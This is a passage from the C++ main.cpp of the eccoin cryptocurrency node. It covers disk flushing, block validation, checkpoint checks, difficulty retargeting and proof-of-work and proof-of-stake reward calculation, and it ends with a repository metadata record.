a while since we wrote the block index to disk. Do this frequently, so we don't need to redownload after a crash.\n        bool fPeriodicWrite = mode == FLUSH_STATE_PERIODIC && nNow > nLastWrite + (int64_t)DATABASE_WRITE_INTERVAL * 1000000;\n        // It's been very long since we flushed the cache. Do this infrequently, to optimize cache usage.\n        bool fPeriodicFlush = mode == FLUSH_STATE_PERIODIC && nNow > nLastFlush + (int64_t)DATABASE_FLUSH_INTERVAL * 1000000;\n        // Combine all conditions that result in a full cache flush.\n        bool fDoFullFlush = (mode == FLUSH_STATE_ALWAYS) || fCacheLarge || fCacheCritical || fPeriodicFlush;\n        // Write blocks and block index to disk.\n        if (fDoFullFlush || fPeriodicWrite) {\n            // Depend on nMinDiskSpace to ensure we can write block index\n            if (!CheckDiskSpace(0))\n                return state.Error(\"out of disk space\");\n            // First make sure all block and undo data is flushed to disk.\n            FlushBlockFile();\n            // Then update all block file information (which may refer to block and undo files).\n            {\n                std::vector<std::pair<int, const CBlockFileInfo*> > vFiles;\n                vFiles.reserve(setDirtyFileInfo.size());\n                for (std::set<int>::iterator it = setDirtyFileInfo.begin(); it != setDirtyFileInfo.end(); ) {\n                    vFiles.push_back(std::make_pair(*it, &vinfoBlockFile[*it]));\n                    setDirtyFileInfo.erase(it++);\n                }\n                std::vector<const CBlockIndex*> vBlocks;\n                vBlocks.reserve(setDirtyBlockIndex.size());\n                for (std::set<CBlockIndex*>::iterator it = setDirtyBlockIndex.begin(); it != setDirtyBlockIndex.end(); ) {\n                    vBlocks.push_back(*it);\n                    setDirtyBlockIndex.erase(it++);\n                }\n                if (!pnetMan->getActivePaymentNetwork()->getChainManager()->pblocktree->WriteBatchSync(vFiles, nLastBlockFile, vBlocks)) {\n                    return AbortNode(state, \"Files to write to block index database\");\n                }\n            }\n            nLastWrite = nNow;\n        }\n        // Flush best chain related state. This can only be done if the blocks / block index write was also done.\n        if (fDoFullFlush) {\n            // Typical CCoins structures on disk are around 128 bytes in size.\n            // Pushing a new one to the database can cause it to be written\n            // twice (once in the log, and once in the tables). This is already\n            // an overestimation, as most will delete an existing entry or\n            // overwrite one. Still, use a conservative safety factor of 2.\n            if (!CheckDiskSpace(128 * 2 * 2 * pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->GetCacheSize()))\n                return state.Error(\"out of disk space\");\n            // Flush the chainstate (which may refer to block index entries).\n            if (!pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip->Flush())\n                return AbortNode(state, \"Failed to write to coin database\");\n            nLastFlush = nNow;\n        }\n        if (fDoFullFlush || ((mode == FLUSH_STATE_ALWAYS || mode == FLUSH_STATE_PERIODIC) && nNow > nLastSetChain + (int64_t)DATABASE_WRITE_INTERVAL * 1000000)) {\n            // Update best block in wallet (so we can detect restored wallets).\n            GetMainSignals().SetBestChain(pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.GetLocator());\n            nLastSetChain = nNow;\n        }\n    } catch (const std::runtime_error& e)\n    {\n        return AbortNode(state, std::string(\"System error while flushing: \") + e.what());\n    }\n    return true;\n}\n\nvoid FlushStateToDisk() {\n    CValidationState state;\n    FlushStateToDisk(state, FLUSH_STATE_ALWAYS);\n}\n\n/** Delete all entries in setBlockIndexCandidates that are worse than the current tip. */\nvoid PruneBlockIndexCandidates()\n{\n    // Note that we can't delete the current block itself, as we may need to return to it later in case a\n    // reorganization to a better block fails.\n    std::set<CBlockIndex*, CBlockIndexWorkComparator>::iterator it = setBlockIndexCandidates.begin();\n    while (it != setBlockIndexCandidates.end() && setBlockIndexCandidates.value_comp()(*it, pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip())) {\n        setBlockIndexCandidates.erase(it++);\n    }\n    // Either the current tip or a successor of it we're working towards is left in setBlockIndexCandidates.\n    assert(!setBlockIndexCandidates.empty());\n}\n\n\nbool InvalidateBlock(CValidationState& state, const Consensus::Params& consensusParams, CBlockIndex *pindex)\n{\n    AssertLockHeld(cs_main);\n\n    // Mark the block itself as invalid.\n    pindex->nStatus |= BLOCK_FAILED_VALID;\n    setDirtyBlockIndex.insert(pindex);\n    setBlockIndexCandidates.erase(pindex);\n\n    while (pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Contains(pindex)) {\n        CBlockIndex *pindexWalk = pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip();\n        pindexWalk->nStatus |= BLOCK_FAILED_CHILD;\n        setDirtyBlockIndex.insert(pindexWalk);\n        setBlockIndexCandidates.erase(pindexWalk);\n        // ActivateBestChain considers blocks already in chainActive\n        // unconditionally valid already, so force disconnect away from it.\n        if (!DisconnectTip(state, consensusParams)) {\n            mempool.removeForReorg(pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip.get(), pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip()->nHeight + 1, STANDARD_LOCKTIME_VERIFY_FLAGS);\n            return false;\n        }\n    }\n\n    LimitMempoolSize(mempool, gArgs.GetArg(\"-maxmempool\", DEFAULT_MAX_MEMPOOL_SIZE) * 1000000, gArgs.GetArg(\"-mempoolexpiry\", DEFAULT_MEMPOOL_EXPIRY) * 60 * 60);\n\n    // The resulting new best tip may not be in setBlockIndexCandidates anymore, so\n    // add it again.\n    BlockMap::iterator it = pnetMan->getActivePaymentNetwork()->getChainManager()->mapBlockIndex.begin();\n    while (it != pnetMan->getActivePaymentNetwork()->getChainManager()->mapBlockIndex.end()) {\n        if (it->second->IsValid(BLOCK_VALID_TRANSACTIONS) && it->second->nChainTx && !setBlockIndexCandidates.value_comp()(it->second, pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip())) {\n            setBlockIndexCandidates.insert(it->second);\n        }\n        it++;\n    }\n\n    InvalidChainFound(pindex);\n    mempool.removeForReorg(pnetMan->getActivePaymentNetwork()->getChainManager()->pcoinsTip.get(), pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip()->nHeight + 1, STANDARD_LOCKTIME_VERIFY_FLAGS);\n    return true;\n}\n\nbool ReconsiderBlock(CValidationState& state, CBlockIndex *pindex) {\n    AssertLockHeld(cs_main);\n\n    int nHeight = pindex->nHeight;\n\n    // Remove the invalidity flag from this block and all its descendants.\n    BlockMap::iterator it = pnetMan->getActivePaymentNetwork()->getChainManager()->mapBlockIndex.begin();\n    while (it != pnetMan->getActivePaymentNetwork()->getChainManager()->mapBlockIndex.end()) {\n        if (!it->second->IsValid() && it->second->GetAncestor(nHeight) == pindex) {\n            it->second->nStatus &= ~BLOCK_FAILED_MASK;\n            setDirtyBlockIndex.insert(it->second);\n            if (it->second->IsValid(BLOCK_VALID_TRANSACTIONS) && it->second->nChainTx && setBlockIndexCandidates.value_comp()(pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip(), it->second)) {\n                setBlockIndexCandidates.insert(it->second);\n            }\n            if (it->second == pindexBestInvalid) {\n                // Reset invalid block marker if it was pointing to one of those.\n                pindexBestInvalid = NULL;\n            }\n        }\n        it++;\n    }\n\n    // Remove the invalidity flag from all ancestors too.\n    while (pindex != NULL) {\n        if (pindex->nStatus & BLOCK_FAILED_MASK) {\n            pindex->nStatus &= ~BLOCK_FAILED_MASK;\n            setDirtyBlockIndex.insert(pindex);\n        }\n        pindex = pindex->pprev;\n    }\n    return true;\n}\n\n/** Mark a block as having its data received and checked (up to BLOCK_VALID_TRANSACTIONS). */\nbool ReceivedBlockTransactions(const CBlock &block, CValidationState& state, CBlockIndex *pindexNew, const CDiskBlockPos& pos)\n{\n    pindexNew->nTx = block.vtx.size();\n    pindexNew->nChainTx = 0;\n    pindexNew->nFile = pos.nFile;\n    pindexNew->nDataPos = pos.nPos;\n    pindexNew->nUndoPos = 0;\n    pindexNew->nStatus |= BLOCK_HAVE_DATA;\n    pindexNew->RaiseValidity(BLOCK_VALID_TRANSACTIONS);\n    setDirtyBlockIndex.insert(pindexNew);\n\n    if (pindexNew->pprev == NULL || pindexNew->pprev->nChainTx) {\n        // If pindexNew is the genesis block or all parents are BLOCK_VALID_TRANSACTIONS.\n        std::deque<CBlockIndex*> queue;\n        queue.push_back(pindexNew);\n\n        // Recursively process any descendant blocks that now may be eligible to be connected.\n        while (!queue.empty()) {\n            CBlockIndex *pindex = queue.front();\n            queue.pop_front();\n            pindex->nChainTx = (pindex->pprev ? pindex->pprev->nChainTx : 0) + pindex->nTx;\n            {\n                LOCK(cs_nBlockSequenceId);\n                pindex->nSequenceId = nBlockSequenceId++;\n            }\n            if (pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip() == NULL || !setBlockIndexCandidates.value_comp()(pindex, pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip())) {\n                setBlockIndexCandidates.insert(pindex);\n            }\n            std::pair<std::multimap<CBlockIndex*, CBlockIndex*>::iterator, std::multimap<CBlockIndex*, CBlockIndex*>::iterator> range = mapBlocksUnlinked.equal_range(pindex);\n            while (range.first != range.second) {\n                std::multimap<CBlockIndex*, CBlockIndex*>::iterator it = range.first;\n                queue.push_back(it->second);\n                range.first++;\n                mapBlocksUnlinked.erase(it);\n            }\n        }\n    } else {\n        if (pindexNew->pprev && pindexNew->pprev->IsValid(BLOCK_VALID_TREE)) {\n            mapBlocksUnlinked.insert(std::make_pair(pindexNew->pprev, pindexNew));\n        }\n    }\n\n    return true;\n}\n\nbool FindBlockPos(CValidationState &state, CDiskBlockPos &pos, unsigned int nAddSize, unsigned int nHeight, uint64_t nTime, bool fKnown)\n{\n    LOCK(cs_LastBlockFile);\n\n    unsigned int nFile = fKnown ? pos.nFile : nLastBlockFile;\n    if (vinfoBlockFile.size() <= nFile) {\n        vinfoBlockFile.resize(nFile + 1);\n    }\n\n    if (!fKnown) {\n        while (vinfoBlockFile[nFile].nSize + nAddSize >= MAX_BLOCKFILE_SIZE) {\n            nFile++;\n            if (vinfoBlockFile.size() <= nFile) {\n                vinfoBlockFile.resize(nFile + 1);\n            }\n        }\n        pos.nFile = nFile;\n        pos.nPos = vinfoBlockFile[nFile].nSize;\n    }\n\n    if ((int)nFile != nLastBlockFile) {\n        if (!fKnown) {\n            LogPrintf(\"Leaving block file %i: %s\\n\", nLastBlockFile, vinfoBlockFile[nLastBlockFile].ToString());\n        }\n        FlushBlockFile(!fKnown);\n        nLastBlockFile = nFile;\n    }\n\n    vinfoBlockFile[nFile].AddBlock(nHeight, nTime);\n    if (fKnown)\n        vinfoBlockFile[nFile].nSize = std::max(pos.nPos + nAddSize, vinfoBlockFile[nFile].nSize);\n    else\n        vinfoBlockFile[nFile].nSize += nAddSize;\n\n    if (!fKnown) {\n        unsigned int nOldChunks = (pos.nPos + BLOCKFILE_CHUNK_SIZE - 1) / BLOCKFILE_CHUNK_SIZE;\n        unsigned int nNewChunks = (vinfoBlockFile[nFile].nSize + BLOCKFILE_CHUNK_SIZE - 1) / BLOCKFILE_CHUNK_SIZE;\n        if (nNewChunks > nOldChunks) {\n            if (CheckDiskSpace(nNewChunks * BLOCKFILE_CHUNK_SIZE - pos.nPos)) {\n                FILE *file = OpenBlockFile(pos);\n                if (file) {\n                    LogPrintf(\"Pre-allocating up to position 0x%x in blk%05u.dat\\n\", nNewChunks * BLOCKFILE_CHUNK_SIZE, pos.nFile);\n                    AllocateFileRange(file, pos.nPos, nNewChunks * BLOCKFILE_CHUNK_SIZE - pos.nPos);\n                    fclose(file);\n                }\n            }\n            else\n                return state.Error(\"out of disk space\");\n        }\n    }\n\n    setDirtyFileInfo.insert(nFile);\n    return true;\n}\n\n\nbool CheckBlock(const CBlock& block, CValidationState& state, bool fCheckPOW, bool fCheckMerkleRoot)\n{\n    // These are checks that are independent of context.\n\n    if (block.fChecked)\n        return true;\n\n    if (block.IsProofOfWork() && fCheckPOW && !CheckProofOfWork(block.GetHash(), block.nBits, pnetMan->getActivePaymentNetwork()->GetConsensus()))\n        return state.DoS(50, error(\"CheckBlockHeader(): proof of work failed\"),\n                         REJECT_INVALID, \"high-hash\");\n\n    // Check that the header is valid (particularly PoW).  This is mostly\n    // redundant with the call in AcceptBlockHeader.\n    if (!CheckBlockHeader(block, state, fCheckPOW))\n        return false;\n\n    // Check the merkle root.\n    if (fCheckMerkleRoot) {\n        bool mutated;\n        uint256 hashMerkleRoot2 = BlockMerkleRoot(block, &mutated);\n        if (block.hashMerkleRoot != hashMerkleRoot2)\n            return state.DoS(100, error(\"CheckBlock(): hashMerkleRoot mismatch\"),\n                             REJECT_INVALID, \"bad-txnmrklroot\", true);\n\n        // Check for merkle tree malleability (CVE-2012-2459): repeating sequences\n        // of transactions in a block without affecting the merkle root of a block,\n        // while still invalidating it.\n        if (mutated)\n            return state.DoS(100, error(\"CheckBlock(): duplicate transaction\"),\n                             REJECT_INVALID, \"bad-txns-duplicate\", true);\n    }\n\n    // All potential-corruption validation must be done before we do any\n    // transaction validation, as otherwise we may mark the header as invalid\n    // because we receive the wrong transactions for it.\n\n    // Size limits\n    if (block.vtx.empty() || block.vtx.size() > MAX_BLOCK_SIZE || ::GetSerializeSize(block, SER_NETWORK, PROTOCOL_VERSION) > MAX_BLOCK_SIZE)\n        return state.DoS(100, error(\"CheckBlock(): size limits failed\"),\n                         REJECT_INVALID, \"bad-blk-length\");\n\n    // First transaction must be coinbase, the rest must not be\n    if (block.vtx.empty() || !block.vtx[0].IsCoinBase())\n        return state.DoS(100, error(\"CheckBlock(): first tx is not coinbase\"),\n                         REJECT_INVALID, \"bad-cb-missing\");\n\n    for (unsigned int i = 1; i < block.vtx.size(); i++)\n        if (block.vtx[i].IsCoinBase())\n            return state.DoS(100, error(\"CheckBlock(): more than one coinbase\"),\n                             REJECT_INVALID, \"bad-cb-multiple\");\n\n    // PoS: only the second transaction can be the optional coinstake\n    for (unsigned int i = 2; i < block.vtx.size(); i++)\n        if (block.vtx[i].IsCoinStake())\n            return state.DoS(100, error(\"CheckBlock() : coinstake in wrong position\"));\n\n    // PoS: coinbase output should be empty if proof-of-stake block\n    if (block.IsProofOfStake() && (block.vtx[0].vout.size() != 1 || !block.vtx[0].vout[0].IsEmpty()))\n        return state.DoS(0, error(\"CheckBlock() : coinbase output not empty for proof-of-stake block\"));\n\n    // Check transactions\n    for (auto const& tx: block.vtx)\n    {\n        if (!CheckTransaction(tx, state))\n        {\n            return error(\"CheckBlock(): CheckTransaction of %s failed with %s\",\n                tx.GetHash().ToString(),\n                FormatStateMessage(state));\n        }\n\n        // PoS: check transaction timestamp\n        if (block.GetBlockTime() < (int64_t)tx.nTime)\n            return state.DoS(50, error(\"CheckBlock() : block timestamp earlier than transaction timestamp\"));\n    }\n\n    unsigned int nSigOps = 0;\n    for (auto const& tx: block.vtx)\n    {\n        nSigOps += GetLegacySigOpCount(tx);\n    }\n    if (nSigOps > MAX_BLOCK_SIGOPS)\n        return state.DoS(100, error(\"CheckBlock(): out-of-bounds SigOpCount\"),\n                         REJECT_INVALID, \"bad-blk-sigops\");\n\n    // PoS: check block signature\n    if (!block.CheckBlockSignature())\n        return state.DoS(100, error(\"CheckBlock() : bad block signature\"), REJECT_INVALID, \"bad-block-sig\");\n\n    if (fCheckPOW && fCheckMerkleRoot)\n        block.fChecked = true;\n\n    return true;\n}\n\nbool CheckIndexAgainstCheckpoint(const CBlockIndex* pindexPrev, CValidationState& state, const CNetworkTemplate& chainparams, const uint256& hash)\n{\n    if (*pindexPrev->phashBlock == chainparams.GetConsensus().hashGenesisBlock)\n        return true;\n\n    int nHeight = pindexPrev->nHeight+1;\n    // Don't accept any forks from the main chain prior to last checkpoint\n    CBlockIndex* pcheckpoint = Checkpoints::GetLastCheckpoint(chainparams.Checkpoints());\n    if (pcheckpoint && nHeight < pcheckpoint->nHeight)\n        return state.DoS(100, error(\"%s: forked chain older than last checkpoint (height %d)\", __func__, nHeight));\n\n    return true;\n}\n\nbool ContextualCheckBlock(const CBlock& block, CValidationState& state, CBlockIndex * const pindexPrev)\n{\n    const int nHeight = pindexPrev == NULL ? 0 : pindexPrev->nHeight + 1;\n    const Consensus::Params& consensusParams = pnetMan->getActivePaymentNetwork()->GetConsensus();\n\n    // Start enforcing BIP113 (Median Time Past) using versionbits logic.\n    int nLockTimeFlags = 0;\n    nLockTimeFlags |= LOCKTIME_MEDIAN_TIME_PAST;\n\n    int64_t nLockTimeCutoff = (nLockTimeFlags & LOCKTIME_MEDIAN_TIME_PAST)\n                              ? pindexPrev->GetMedianTimePast()\n                              : block.GetBlockTime();\n\n    // Check that all transactions are finalized\n    for (auto const& tx: block.vtx)\n    {\n        if (!IsFinalTx(tx, nHeight, nLockTimeCutoff))\n        {\n            return state.DoS(10, error(\"%s: contains a non-final transaction\", __func__), REJECT_INVALID, \"bad-txns-nonfinal\");\n        }\n    }\n\n    // Enforce block.nVersion=2 rule that the coinbase starts with serialized block height\n    // if 750 of the last 1,000 blocks are version 2 or greater (51/100 if testnet):\n    if (block.nVersion >= 2 && IsSuperMajority(2, pindexPrev, consensusParams.nMajorityEnforceBlockUpgrade, consensusParams))\n    {\n        CScript expect = CScript() << nHeight;\n        if (block.vtx[0].vin[0].scriptSig.size() < expect.size() ||\n            !std::equal(expect.begin(), expect.end(), block.vtx[0].vin[0].scriptSig.begin())) {\n            return state.DoS(100, error(\"%s: block height mismatch in coinbase\", __func__), REJECT_INVALID, \"bad-cb-height\");\n        }\n    }\n\n    return true;\n}\n\n\nbool IsSuperMajority(int minVersion, const CBlockIndex* pstart, unsigned nRequired, const Consensus::Params& consensusParams)\n{\n    unsigned int nFound = 0;\n    for (int i = 0; i < consensusParams.nMajorityWindow && nFound < nRequired && pstart != NULL; i++)\n    {\n        if (pstart->nVersion >= minVersion)\n            ++nFound;\n        pstart = pstart->pprev;\n    }\n    return (nFound >= nRequired);\n}\n\n\n/**\n * BLOCK PRUNING CODE\n */\n\n/* Calculate the amount of disk space the block & undo files currently use */\nuint64_t CalculateCurrentUsage()\n{\n    uint64_t retval = 0;\n    for (auto const& file: vinfoBlockFile) {\n        retval += file.nSize + file.nUndoSize;\n    }\n    return retval;\n}\n\nbool CheckDiskSpace(uint64_t nAdditionalBytes)\n{\n    uint64_t nFreeBytesAvailable = boost::filesystem::space(GetDataDir()).available;\n\n    // Check for nMinDiskSpace bytes (currently 50MB)\n    if (nFreeBytesAvailable < nMinDiskSpace + nAdditionalBytes)\n        return AbortNode(\"Disk space is low!\", _(\"Error: Disk space is low!\"));\n\n    return true;\n}\n\nFILE* OpenDiskFile(const CDiskBlockPos &pos, const char *prefix, bool fReadOnly)\n{\n    if (pos.IsNull())\n        return NULL;\n    boost::filesystem::path path = GetBlockPosFilename(pos, prefix);\n    boost::filesystem::create_directories(path.parent_path());\n    FILE* file = fopen(path.string().c_str(), fReadOnly ? \"rb\": \"rb+\");\n    if (!file && !fReadOnly)\n        file = fopen(path.string().c_str(), \"wb+\");\n    if (!file) {\n        LogPrintf(\"Unable to open file %s\\n\", path.string());\n        return NULL;\n    }\n    if (pos.nPos) {\n        if (fseek(file, pos.nPos, SEEK_SET)) {\n            LogPrintf(\"Unable to seek to position %u of %s\\n\", pos.nPos, path.string());\n            fclose(file);\n            return NULL;\n        }\n    }\n    return file;\n}\n\nFILE* OpenBlockFile(const CDiskBlockPos &pos, bool fReadOnly) {\n    return OpenDiskFile(pos, \"blk\", fReadOnly);\n}\n\nFILE* OpenUndoFile(const CDiskBlockPos &pos, bool fReadOnly) {\n    return OpenDiskFile(pos, \"rev\", fReadOnly);\n}\n\nboost::filesystem::path GetBlockPosFilename(const CDiskBlockPos &pos, const char *prefix)\n{\n    return GetDataDir() / \"blocks\" / strprintf(\"%s%05u.dat\", prefix, pos.nFile);\n}\n\n\n\n//////////////////////////////////////////////////////////////////////////////\n//\n// CAlert\n//\n\nstd::string GetWarnings(const std::string& strFor)\n{\n    std::string strStatusBar;\n    std::string strRPC;\n    std::string strGUI;\n\n    if (!CLIENT_VERSION_IS_RELEASE) {\n        strStatusBar = \"This is a pre-release test build - use at your own risk - do not use for mining or merchant applications\";\n        strGUI = _(\"This is a pre-release test build - use at your own risk - do not use for mining or merchant applications\");\n    }\n\n    if (gArgs.GetBoolArg(\"-testsafemode\", DEFAULT_TESTSAFEMODE))\n        strStatusBar = strRPC = strGUI = \"testsafemode enabled\";\n\n    // Misc warnings like out of disk space and clock is wrong\n    if (strMiscWarning != \"\")\n    {\n        strStatusBar = strGUI = strMiscWarning;\n    }\n\n    if (fLargeWorkForkFound)\n    {\n        strStatusBar = strRPC = \"Warning: The network does not appear to fully agree! Some miners appear to be experiencing issues.\";\n        strGUI = _(\"Warning: The network does not appear to fully agree! Some miners appear to be experiencing issues.\");\n    }\n    else if (fLargeWorkInvalidChainFound)\n    {\n        strStatusBar = strRPC = \"Warning: We do not appear to fully agree with our peers! You may need to upgrade, or other nodes may need to upgrade.\";\n        strGUI = _(\"Warning: We do not appear to fully agree with our peers! You may need to upgrade, or other nodes may need to upgrade.\");\n    }\n\n    if (strFor == \"gui\")\n        return strGUI;\n    else if (strFor == \"statusbar\")\n        return strStatusBar;\n    else if (strFor == \"rpc\")\n        return strRPC;\n    assert(!\"GetWarnings(): invalid parameter\");\n    return \"error\";\n}\n\nstd::string CBlockFileInfo::ToString() const {\n     return strprintf(\"CBlockFileInfo(blocks=%u, size=%u, heights=%u...%u, time=%s...%s)\", nBlocks, nSize, nHeightFirst, nHeightLast, DateTimeStrFormat(\"%Y-%m-%d\", nTimeFirst), DateTimeStrFormat(\"%Y-%m-%d\", nTimeLast));\n }\n\nThresholdState VersionBitsTipState(const Consensus::Params& params, Consensus::DeploymentPos pos)\n{\n    LOCK(cs_main);\n    return VersionBitsState(pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip(), params, pos, versionbitscache);\n}\n\nclass CMainCleanup\n{\npublic:\n    CMainCleanup() {}\n    ~CMainCleanup()\n    {\n        // orphan transactions\n        mapOrphanTransactions.clear();\n        mapOrphanTransactionsByPrev.clear();\n    }\n} instance_of_cmaincleanup;\n\n// ppcoin: find last block index up to pindex\nconst CBlockIndex* GetLastBlockIndex(const CBlockIndex* pindex, bool fProofOfStake)\n{\n    while (pindex && pindex->pprev && (pindex->IsProofOfStake() != fProofOfStake))\n        pindex = pindex->pprev;\n    return pindex;\n}\n\n\nunsigned int GetNextTargetRequired(const CBlockIndex* pindexLast, bool fProofOfStake)\n{\n        CBigNum bnTargetLimit = CBigNum(pnetMan->getActivePaymentNetwork()->GetConsensus().powLimit);\n\n        if(fProofOfStake)\n        {\n            // Proof-of-Stake blocks has own target limit since nVersion=3 supermajority on mainNet and always on testNet\n            bnTargetLimit = CBigNum(pnetMan->getActivePaymentNetwork()->GetConsensus().posLimit);\n        }\n\n        if (pindexLast == NULL)\n            return bnTargetLimit.GetCompact(); // genesis block\n\n        const CBlockIndex* pindexPrev = GetLastBlockIndex(pindexLast, fProofOfStake);\n        if (pindexPrev->pprev == NULL)\n            return bnTargetLimit.GetCompact(); // first block\n        const CBlockIndex* pindexPrevPrev = GetLastBlockIndex(pindexPrev->pprev, fProofOfStake);\n        if (pindexPrevPrev->pprev == NULL)\n            return bnTargetLimit.GetCompact(); // second block\n\n        int64_t nActualSpacing = pindexPrev->GetBlockTime() - pindexPrevPrev->GetBlockTime();\n        if(nActualSpacing < 0)\n        {\n            nActualSpacing = 1;\n        }\n        else if(nActualSpacing > pnetMan->getActivePaymentNetwork()->GetConsensus().nTargetTimespan)\n        {\n            nActualSpacing = pnetMan->getActivePaymentNetwork()->GetConsensus().nTargetTimespan;\n        }\n\n        // ppcoin: target change every block\n        // ppcoin: retarget with exponential moving toward target spacing\n        CBigNum bnNew;\n        bnNew.SetCompact(pindexPrev->nBits);\n        int64_t spacing;\n        if (fProofOfStake)\n        {\n            spacing = pnetMan->getActivePaymentNetwork()->GetConsensus().nTargetSpacing;\n        }\n        else\n        {\n            spacing =  std::min( (3 * (int64_t) pnetMan->getActivePaymentNetwork()->GetConsensus().nTargetSpacing), ((int64_t) pnetMan->getActivePaymentNetwork()->GetConsensus().nTargetSpacing * (1 + pindexLast->nHeight - pindexPrev->nHeight)) );\n        }\n        int64_t nTargetSpacing = spacing;\n        int64_t nInterval = pnetMan->getActivePaymentNetwork()->GetConsensus().nTargetTimespan / nTargetSpacing;\n        bnNew *= ((nInterval - 1) * nTargetSpacing + nActualSpacing + nActualSpacing);\n        bnNew /= ((nInterval + 1) * nTargetSpacing);\n\n        if (bnNew > bnTargetLimit)\n        {\n            bnNew = bnTargetLimit;\n        }\n\n        return bnNew.GetCompact();\n}\n\nint generateMTRandom(unsigned int s, int range)\n{\n    std::mt19937 gen(s);\n    std::uniform_int_distribution<> dist(0, range);\n    return dist(gen);\n}\n\nstatic const int64_t nMinSubsidy = 1 * COIN;\n// miner's coin base reward\nint64_t GetProofOfWorkReward(int64_t nFees, const int nHeight, uint256 prevHash)\n{\n    int64_t nSubsidy = 100000 * COIN;\n\n    if(nHeight == 1)\n    {\n        nSubsidy = 0.0099 * MAX_MONEY;\n        return nSubsidy + nFees;\n    }\n    else if(nHeight > 86400)\t// will be blocked all the pow after CUTOFF_HEIGHT\n    {\n        return nMinSubsidy + nFees;\n    }\n\n    std::string cseed_str = prevHash.ToString().substr(15,7);\n    const char* cseed = cseed_str.c_str();\n    long seed = hex2long(cseed);\n    nSubsidy += generateMTRandom(seed, 200000) * COIN;\n\n    return nSubsidy + nFees;\n}\n\nint64_t ValueFromAmountAsInt(int64_t amount)\n{\n    return amount / COIN;\n}\n\nconst int YEARLY_BLOCKCOUNT = 700800;\n// miner's coin stake reward based on coin age spent (coin-days)\nint64_t GetProofOfStakeReward(int64_t nCoinAge, int nHeight)\n{\n    int64_t nRewardCoinYear = 2.5 * MAX_MINT_PROOF_OF_STAKE;\n    int64_t CMS = pnetMan->getActivePaymentNetwork()->getChainManager()->chainActive.Tip()->nMoneySupply;\n    if(CMS == (MAX_MONEY / 2))\n    {\n        /// if we are already at max money supply limits (25 billion coins, we return 0 as no new coins are to be minted\n        if (fDebug)\n        {\n            LogPrintf(\"GetProofOfStakeReward(): create=%i nCoinAge=%d\\n\", 0, nCoinAge);\n        }\n        return 0;\n    }\n    if (nHeight > 500000 && nHeight < 1005000)\n    {\n        int64_t nextMoney = (ValueFromAmountAsInt(CMS) + nRewardCoinYear) ;\n        if(nextMoney > (MAX_MONEY / 2))\n        {\n            int64_t difference = (nextMoney - (MAX_MONEY / 2));\n            nRewardCoinYear = nextMoney - difference;\n        }\n        if(nextMoney == (MAX_MONEY / 2))\n        {\n            nRewardCoinYear = 0;\n        }\n        int64_t nSubsidy = nCoinAge * nRewardCoinYear / 365;\n        if (fDebug)\n        {\n            LogPrintf(\"GetProofOfStakeReward(): create=%s nCoinAge=%d\\n\", FormatMoney(nSubsidy).c_str(), nCoinAge);\n        }\n        return nSubsidy;\n    }\n\n    nRewardCoinYear = 25 * CENT; // 25%\n    int64_t nSubsidy = nCoinAge * nRewardCoinYear / 365;\n    if(nHeight >= 1005000)\n    {\n        int64_t nextMoney = CMS + nSubsidy;\n        // this conditional should only happen once\n        if(nextMoney > (MAX_MONEY / 2))\n        {\n            /// CMS + subsidy = nextMoney\n            /// nextMoney - MAX = difference and we should take this difference away from nSubsidy so nSubsidy stops at max money and doesnt go over\n            /// credits go to cvargos for this fix\n            int64_t difference = (nextMoney - (MAX_MONEY / 2));\n            nSubsidy = nSubsidy - difference;\n        }\n    }\n    if (fDebug)\n    {\n        LogPrintf(\"GetProofOfStakeReward(): create=%s nCoinAge=%d\\n\", FormatMoney(nSubsidy).c_str(), nCoinAge);\n    }\n    return nSubsidy;\n}\n", "meta": {"hexsha": "12842ac9afcd6d547ee0bec25ab6bc527faee963", "size": 85453, "ext": "cpp", "lang": "C++", "max_stars_repo_path": "src/main.cpp", "max_stars_repo_name": "201Labs/eccoin", "max_stars_repo_head_hexsha": "7bfb7ddd119801883039fe93a3eab4058f0090c9", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/main.cpp", "max_issues_repo_name": "201Labs/eccoin", "max_issues_repo_head_hexsha": "7bfb7ddd119801883039fe93a3eab4058f0090c9", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/main.cpp", "max_forks_repo_name": "201Labs/eccoin", "max_forks_repo_head_hexsha": "7bfb7ddd119801883039fe93a3eab4058f0090c9", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 41.8272148801, "max_line_length": 246, "alphanum_fraction": 0.6360104385, "num_tokens": 20696, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.523420348936324, "lm_q2_score": 0.24798743179802782, "lm_q1q2_score": 0.1298016680835466}}
